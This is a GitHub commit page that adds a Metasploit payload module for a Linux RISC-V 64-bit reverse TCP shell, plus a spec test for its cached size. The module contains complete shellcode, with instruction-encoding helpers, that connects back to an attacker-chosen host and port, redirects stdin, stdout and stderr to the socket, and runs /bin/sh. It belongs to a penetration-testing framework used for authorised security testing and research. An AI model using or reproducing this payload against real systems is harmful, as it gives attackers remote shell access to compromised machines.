Skip to content

Commit 003bbc9

Browse files
committed
Add Linux RISC-V 64-bit TCP reverse shell payload
1 parent d79e8a3 commit 003bbc9

File tree

2 files changed

+153
-0
lines changed

2 files changed

+153
-0
lines changed
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 160
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
include Msf::Sessions::CommandShellOptions
12+
13+
def initialize(info = {})
14+
super(
15+
merge_info(
16+
info,
17+
'Name' => 'Linux Command Shell, Reverse TCP Inline',
18+
'Description' => 'Connect back to attacker and spawn a command shell.',
19+
'Author' => [
20+
'modexp', # connect.s RISC-V 64-bit shellcode
21+
'bcoles', # metasploit
22+
],
23+
'License' => BSD_LICENSE,
24+
'Platform' => 'linux',
25+
'Arch' => [ ARCH_RISCV64LE ],
26+
'References' => [
27+
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
28+
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
29+
],
30+
'Handler' => Msf::Handler::ReverseTcp,
31+
'Session' => Msf::Sessions::CommandShellUnix
32+
)
33+
)
34+
end
35+
36+
# Encode a RISC-V ADDI (Add Immediate) instruction
37+
def encode_addi(rd, rs1, imm12)
38+
opcode = 0b0010011
39+
funct3 = 0b000
40+
imm = imm12 & 0xfff
41+
(imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
42+
end
43+
44+
# Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction
45+
def encode_slli(rd, rs1, shamt)
46+
opcode = 0b0010011
47+
funct3 = 0b001
48+
funct6 = 0b000000
49+
((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |
50+
(rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
51+
end
52+
53+
# Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register
54+
def load_const_into_reg(const, register)
55+
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
56+
57+
max_const = (1 << 64) - 1
58+
59+
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
60+
61+
digits = []
62+
tmp = const
63+
64+
while tmp > 0
65+
d = tmp & 0xfff
66+
tmp >>= 12
67+
if d > 2047
68+
d -= 4096
69+
tmp += 1
70+
end
71+
digits << d
72+
end
73+
74+
digits = [0] if digits.empty?
75+
76+
words = [encode_addi(register, 0, digits.pop & 0xfff)]
77+
digits.reverse_each do |digit|
78+
words << encode_slli(register, register, 12)
79+
words << encode_addi(register, register, digit & 0xfff)
80+
end
81+
82+
words
83+
end
84+
85+
def generate(_opts = {})
86+
lhost = datastore['LHOST'] || '127.127.127.127'
87+
lport = datastore['LPORT'].to_i
88+
89+
raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)
90+
91+
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
92+
encoded_port = [lport].pack('n').unpack1('v')
93+
encoded_sockaddr = (encoded_host << 32) | (encoded_port << 16) | 2
94+
95+
a1 = 11
96+
shellcode = [
97+
0xff010113, # addi sp,sp,-16
98+
99+
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
100+
0x0c600893, # li a7,198 # SYS_socket
101+
0x00000613, # li a2,0 # IPPROTO_IP
102+
0x00100593, # li a1,1 # SOCK_STREAM
103+
0x00200513, # li a0,2 # AF_INET
104+
0x00000073, # ecall
105+
106+
# connect(s, &sa, sizeof(sa));
107+
0x00050693, # mv a3,a0 # a3 = s
108+
0x0cb00893, # li a7,203 # SYS_connect
109+
0x01000613, # li a2,16
110+
*load_const_into_reg(encoded_sockaddr, a1),
111+
0x00b13023, # sd a1,0(sp)
112+
0x00010593, # mv a1,sp # a1 = &sa
113+
0x00000073, # ecall
114+
115+
0x01800893, # li a7,24 # SYS_dup3
116+
0x00300593, # li a1,3 # STDERR_FILENO + 1
117+
118+
# c_dup:
119+
0x00000613, # li a2,0
120+
0x00068513, # mv a0,a3
121+
0xfff58593, # addi a1,a1,-1
122+
0x00000073, # ecall
123+
0xfe0598e3, # bnez a1,100c8 <c_dup>
124+
125+
# execve("/bin/sh", NULL, NULL);
126+
0x0dd00893, # li a7,221
127+
0x34399537, # lui a0,0x34399
128+
0x7b75051b, # addiw a0,a0,1975
129+
0x00c51513, # slli a0,a0,0xc
130+
0x34b50513, # addi a0,a0,843 # 3439934b <__global_pointer$+0x34387a47>
131+
0x00d51513, # slli a0,a0,0xd
132+
0x22f50513, # addi a0,a0,559
133+
0x00a13023, # sd a0,0(sp)
134+
0x00010513, # mv a0,sp
135+
0x00000073 # ecall
136+
].pack('V*')
137+
138+
# align our shellcode to 4 bytes
139+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
140+
141+
super.to_s + shellcode
142+
end
143+
end

spec/modules/payloads_spec.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2095,6 +2095,16 @@
20952095
reference_name: 'linux/riscv64le/reboot'
20962096
end
20972097

2098+
context 'linux/riscv64le/shell_reverse_tcp' do
2099+
it_should_behave_like 'payload cached size is consistent',
2100+
ancestor_reference_names: [
2101+
'singles/linux/riscv64le/shell_reverse_tcp'
2102+
],
2103+
dynamic_size: false,
2104+
modules_pathname: modules_pathname,
2105+
reference_name: 'linux/riscv64le/shell_reverse_tcp'
2106+
end
2107+
20982108
context 'linux/x64/exec' do
20992109
it_should_behave_like 'payload cached size is consistent',
21002110
ancestor_reference_names: [

0 commit comments

Comments
 (0)